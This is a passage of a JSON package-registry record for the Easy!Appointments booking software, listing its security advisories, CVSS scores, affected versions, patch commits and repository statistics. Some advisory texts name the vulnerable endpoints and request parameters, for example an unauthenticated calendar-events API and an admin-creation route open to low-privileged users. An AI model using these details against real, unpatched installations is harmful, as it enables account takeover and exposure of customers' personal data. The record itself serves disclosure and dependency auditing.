anticipated to be part of version 1.5.0.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2023-04-15T15:30:14.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.4,"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N","references":["https://nvd.nist.gov/vuln/detail/CVE-2023-2105","https://github.com/alextselegidis/easyappointments/commit/7f37350fab9d729a9350d96369ff0f453cf7b840","https://huntr.dev/bounties/de213e0b-a227-4fc3-bbe7-0b33fbf308e1","https://github.com/advisories/GHSA-4qmm-cv4r-qfr4"],"source_kind":"github","identifiers":["GHSA-4qmm-cv4r-qfr4","CVE-2023-2105"],"repository_url":"https://github.com/alextselegidis/easyappointments","blast_radius":1.0,"created_at":"2023-04-21T21:03:18.835Z","updated_at":"2026-10-16T17:21:15.172Z","epss_percentage":0.00668,"epss_percentile":0.50509,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS00cW1tLWN2NHItcWZyNM4AAyzC","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS00cW1tLWN2NHItcWZyNM4AAyzC","packages":[{"ecosystem":"packagist","package_name":"alextselegidis/easyappointments","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 1.4.3"}],"purl":null,"statistics":{"dependent_packages_count":0,"dependent_repos_count":0,"downloads":396,"downloads_period":"total"},"affected_versions":["1.1.0","1.1.0-beta.1","1.1.0-beta.2","1.1.1","1.2.0","1.2.0-alpha.1","1.2.0-beta.1","1.2.1","1.3.0","1.3.0-alpha.1","1.3.0-beta.1","1.3.0-beta.2","1.3.1","1.3.1-beta.1","1.3.2","1.3.2-beta.1","1.4.0","1.4.0-beta.1","1.4.1","1.4.2","1.4.2-beta.1","1.4.3","1.4.3-beta.1"],"unaffected_versions":["1.5.2"]}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS00cW1tLWN2NHItcWZyNM4AAyzC/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1mYzRnLWY0MnAtN3JocM4AAyzH","url":"https://github.com/advisories/GHSA-fc4g-f42p-7rhp","title":"alextselegidis/easyappointments Improper Access Control vulnerability","description":"alextselegidis/easyappointments 1.4.3 and prior allows one provider to view and edit others providers' appointment details. A patch is available at commit 75b24735767868344193fb2cc56e17ee4b9ac4be and anticipated to be part of version 1.5.0.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2023-04-15T15:30:14.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.4,"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N","references":["https://nvd.nist.gov/vuln/detail/CVE-2023-2104","https://github.com/alextselegidis/easyappointments/commit/75b24735767868344193fb2cc56e17ee4b9ac4be","https://huntr.dev/bounties/3099b8d1-c49c-41b8-a929-73ccded6fc7c","https://github.com/advisories/GHSA-fc4g-f42p-7rhp"],"source_kind":"github","identifiers":["GHSA-fc4g-f42p-7rhp","CVE-2023-2104"],"repository_url":"https://github.com/alextselegidis/easyappointments","blast_radius":1.0,"created_at":"2023-04-21T21:03:18.850Z","updated_at":"2026-10-12T14:13:29.592Z","epss_percentage":0.00447,"epss_percentile":0.36541,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1mYzRnLWY0MnAtN3JocM4AAyzH","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1mYzRnLWY0MnAtN3JocM4AAyzH","packages":[{"ecosystem":"packagist","package_name":"alextselegidis/easyappointments","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 1.4.3"}],"purl":null}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1mYzRnLWY0MnAtN3JocM4AAyzH/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS05cXZ3LWZoajIteHFtds4AAyEA","url":"https://github.com/advisories/GHSA-9qvw-fhj2-xqmv","title":"Code Injection in alextselegidis/easyappointments","description":"Code Injection in GitHub repository alextselegidis/easyappointments prior to 1.5.0 due to unescaped output.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2023-03-13T09:30:39.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.3,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L","references":["https://nvd.nist.gov/vuln/detail/CVE-2023-1367","https://github.com/alextselegidis/easyappointments/commit/453c6e130229718680c91bef450db643a0f263e4","https://huntr.dev/bounties/16bc74e2-1825-451f-bff7-bfdc1ea75cc2","https://github.com/advisories/GHSA-9qvw-fhj2-xqmv"],"source_kind":"github","identifiers":["GHSA-9qvw-fhj2-xqmv","CVE-2023-1367"],"repository_url":"https://github.com/alextselegidis/easyappointments","blast_radius":1.0,"created_at":"2023-03-13T21:03:14.493Z","updated_at":"2026-10-16T17:21:28.753Z","epss_percentage":0.00431,"epss_percentile":0.35511,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS05cXZ3LWZoajIteHFtds4AAyEA","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS05cXZ3LWZoajIteHFtds4AAyEA","packages":[{"ecosystem":"packagist","package_name":"alextselegidis/easyappointments","versions":[{"first_patched_version":"1.5.0","vulnerable_version_range":"\u003c 1.5.0"}],"purl":null,"statistics":{"dependent_packages_count":0,"dependent_repos_count":0,"downloads":396,"downloads_period":"total"},"affected_versions":["1.1.0","1.1.0-beta.1","1.1.0-beta.2","1.1.1","1.2.0","1.2.0-alpha.1","1.2.0-beta.1","1.2.1","1.3.0","1.3.0-alpha.1","1.3.0-beta.1","1.3.0-beta.2","1.3.1","1.3.1-beta.1","1.3.2","1.3.2-beta.1","1.4.0","1.4.0-beta.1","1.4.1","1.4.2","1.4.2-beta.1","1.4.3","1.4.3-beta.1"],"unaffected_versions":["1.5.2"]}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS05cXZ3LWZoajIteHFtds4AAyEA/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS0zNDdmLXJ4ZzgtcWdyds4AAx_5","url":"https://github.com/advisories/GHSA-347f-rxg8-qgrv","title":"Easy!Appointments uses hard-coded credentials","description":"Use of Hard-coded Credentials in GitHub repository alextselegidis/easyappointments 1.4.3 and prior. A patch is available and anticipated to be part of version 1.5.0.","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2023-03-08T12:30:16.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":9.8,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","references":["https://nvd.nist.gov/vuln/detail/CVE-2023-1269","https://github.com/alextselegidis/easyappointments/commit/2731d2f17c5140c562426b857e9f5d63da5c4593","https://huntr.dev/bounties/91c31eb6-024d-4ad3-88fe-f15b03fd20f5","https://github.com/advisories/GHSA-347f-rxg8-qgrv"],"source_kind":"github","identifiers":["GHSA-347f-rxg8-qgrv","CVE-2023-1269"],"repository_url":"https://github.com/alextselegidis/easyappointments","blast_radius":1.0,"created_at":"2023-03-08T18:03:17.357Z","updated_at":"2026-10-16T17:21:28.776Z","epss_percentage":0.00743,"epss_percentile":0.53514,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0zNDdmLXJ4ZzgtcWdyds4AAx_5","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS0zNDdmLXJ4ZzgtcWdyds4AAx_5","packages":[{"ecosystem":"packagist","package_name":"alextselegidis/easyappointments","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 1.4.3"}],"purl":null,"statistics":{"dependent_packages_count":0,"dependent_repos_count":0,"downloads":396,"downloads_period":"total"},"affected_versions":["1.1.0","1.1.0-beta.1","1.1.0-beta.2","1.1.1","1.2.0","1.2.0-alpha.1","1.2.0-beta.1","1.2.1","1.3.0","1.3.0-alpha.1","1.3.0-beta.1","1.3.0-beta.2","1.3.1","1.3.1-beta.1","1.3.2","1.3.2-beta.1","1.4.0","1.4.0-beta.1","1.4.1","1.4.2","1.4.2-beta.1","1.4.3","1.4.3-beta.1"],"unaffected_versions":["1.5.2"]}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0zNDdmLXJ4ZzgtcWdyds4AAx_5/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS03ZjYyLTQ4ODctY2Z2Nc3lBg","url":"https://github.com/advisories/GHSA-7f62-4887-cfv5","title":"Privilege escalation in easyappointments","description":"The Easy!Appointments API authorization is checked against the user's existence, without validating the permissions. As a result, a low privileged user (eg. provider) can create a new admin user via the \"/api/v1/admins/\" endpoint and take over the system. A [patch](https://github.com/alextselegidis/easyappointments/commit/63dbb51decfcc1631c398ecd6d30e3a337845526) is available on the `develop` branch of the repository.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2022-05-11T00:01:38.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.8,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","references":["https://nvd.nist.gov/vuln/detail/CVE-2022-1397","https://github.com/alextselegidis/easyappointments/commit/63dbb51decfcc1631c398ecd6d30e3a337845526","https://huntr.dev/bounties/5f69e094-ab8c-47a3-b01d-8c12a3b14c61","https://github.com/advisories/GHSA-7f62-4887-cfv5"],"source_kind":"github","identifiers":["GHSA-7f62-4887-cfv5","CVE-2022-1397"],"repository_url":"https://github.com/alextselegidis/easyappointments","blast_radius":1.0,"created_at":"2022-12-21T16:12:23.106Z","updated_at":"2026-10-16T17:24:23.212Z","epss_percentage":0.01166,"epss_percentile":0.6667,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS03ZjYyLTQ4ODctY2Z2Nc3lBg","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS03ZjYyLTQ4ODctY2Z2Nc3lBg","packages":[{"ecosystem":"packagist","package_name":"alextselegidis/easyappointments","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 1.4.3"}],"purl":null,"statistics":{"dependent_packages_count":0,"dependent_repos_count":0,"downloads":396,"downloads_period":"total"},"affected_versions":["1.1.0","1.1.0-beta.1","1.1.0-beta.2","1.1.1","1.2.0","1.2.0-alpha.1","1.2.0-beta.1","1.2.1","1.3.0","1.3.0-alpha.1","1.3.0-beta.1","1.3.0-beta.2","1.3.1","1.3.1-beta.1","1.3.2","1.3.2-beta.1","1.4.0","1.4.0-beta.1","1.4.1","1.4.2","1.4.2-beta.1","1.4.3","1.4.3-beta.1"],"unaffected_versions":["1.5.2"]}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS03ZjYyLTQ4ODctY2Z2Nc3lBg/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1yNmNtLXdnNDgtcmgycs0xCw","url":"https://github.com/advisories/GHSA-r6cm-wg48-rh2r","title":"Exposure of Private Personal Information to an Unauthorized Actor in alextselegidis/easyappointments","description":"The software is a booking management system that has a public form to place bookings, and a private area for the calendar and management of services, users, settings, etc. There is a backend API that allows data manipulation, including listing the appointments for a specific time range. This happens on this endpoint: /index.php/backend_api/ajax_get_calendar_events Unfortunately, there is no authentication / permissions-check on that endpoint, the only required parameters in a POST request are \"startDate\", \"endDate\" and \"csrfToken\". Because the csrfToken can be obtained by any unauthenticated user just visiting the public form (and is valid for the backend as well), any attacker can query the backend API and obtain all sorts of private information about the appointment, in JSON format.","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2022-03-10T00:00:40.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":9.1,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","references":["https://nvd.nist.gov/vuln/detail/CVE-2022-0482","https://github.com/alextselegidis/easyappointments/commit/44af526a6fc5e898bc1e0132b2af9eb3a9b2c466","https://huntr.dev/bounties/2fe771ef-b615-45ef-9b4d-625978042e26","https://github.com/alextselegidis/easyappointments/releases/tag/1.4.3","https://opencirt.com/hacking/securing-easy-appointments-cve-2022-0482/","http://packetstormsecurity.com/files/166701/Easy-Appointments-Information-Disclosure.html","https://github.com/advisories/GHSA-r6cm-wg48-rh2r"],"source_kind":"github","identifiers":["GHSA-r6cm-wg48-rh2r","CVE-2022-0482"],"repository_url":"https://github.com/alextselegidis/easyappointments","blast_radius":1.0,"created_at":"2022-12-21T16:12:33.839Z","updated_at":"2026-10-12T14:15:33.152Z","epss_percentage":0.43746,"epss_percentile":0.9862,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1yNmNtLXdnNDgtcmgycs0xCw","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1yNmNtLXdnNDgtcmgycs0xCw","packages":[{"ecosystem":"packagist","package_name":"alextselegidis/easyappointments","versions":[{"first_patched_version":"1.4.3","vulnerable_version_range":"\u003c 1.4.3"}],"purl":null}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1yNmNtLXdnNDgtcmgycs0xCw/related_packages","related_advisories":[]}],"docker_usage_url":"https://docker.ecosyste.ms/usage/packagist/alextselegidis/easyappointments","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/packagist/alextselegidis/easyappointments","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/packagist/alextselegidis/easyappointments/dependencies","status":null,"funding_links":[],"critical":null,"issue_metadata":{"last_synced_at":"2026-10-07T23:37:27.587Z","issues_count":397,"pull_requests_count":319,"avg_time_to_close_issue":13070200.950943395,"avg_time_to_close_pull_request":1842836.1218487395,"issues_closed_count":265,"pull_requests_closed_count":238,"pull_request_authors_count":94,"issue_authors_count":241,"avg_comments_per_issue":2.672544080604534,"avg_comments_per_pull_request":1.1536050156739812,"merged_pull_requests_count":94,"bot_issues_count":0,"bot_pull_requests_count":20,"past_year_issues_count":49,"past_year_pull_requests_count":47,"past_year_avg_time_to_close_issue":1318122.3448275863,"past_year_avg_time_to_close_pull_request":1036016.5555555555,"past_year_issues_closed_count":29,"past_year_pull_requests_closed_count":27,"past_year_pull_request_authors_count":19,"past_year_issue_authors_count":28,"past_year_avg_comments_per_issue":1.4489795918367347,"past_year_avg_comments_per_pull_request":0.5531914893617021,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":6,"past_year_merged_pull_requests_count":16,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/alextselegidis%2Feasyappointments/issues","maintainers":[{"login":"alextselegidis","count":26,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/alextselegidis"}],"active_maintainers":[{"login":"alextselegidis","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/alextselegidis"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/packagist.org/packages/alextselegidis%2Feasyappointments/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/packagist.org/packages/alextselegidis%2Feasyappointments/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/packagist.org/packages/alextselegidis%2Feasyappointments/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/packagist.org/packages/alextselegidis%2Feasyappointments/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/packagist.org/packages/alextselegidis%2Feasyappointments/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/packagist.org/packages/alextselegidis%2Feasyappointments/codemeta","maintainers":[{"uuid":"alextselegidis","login":"alextselegidis","name":null,"email":null,"url":null,"packages_count":1,"html_url":"https://packagist.org/users/alextselegidis","role":null,"created_at":"2022-11-08T18:00:28.907Z","updated_at":"2022-11-08T18:00:28.907Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/packagist.org/maintainers/alextselegidis/packages"}],"registry":{"name":"packagist.org","url":"https://packagist.org","ecosystem":"packagist","default":true,"packages_count":522494,"maintainers_count":144847,"namespaces_count":174132,"keywords_count":151791,"github":"packagist","metadata":{"funded_packages_count":32145},"icon_url":"https://github.com/packagist.png","created_at":"2022-04-04T15:19:23.222Z","updated_at":"2026-10-16T05:04:38.493Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/packagist.org/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/packagist.org/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/packagist.org/namespaces"}}]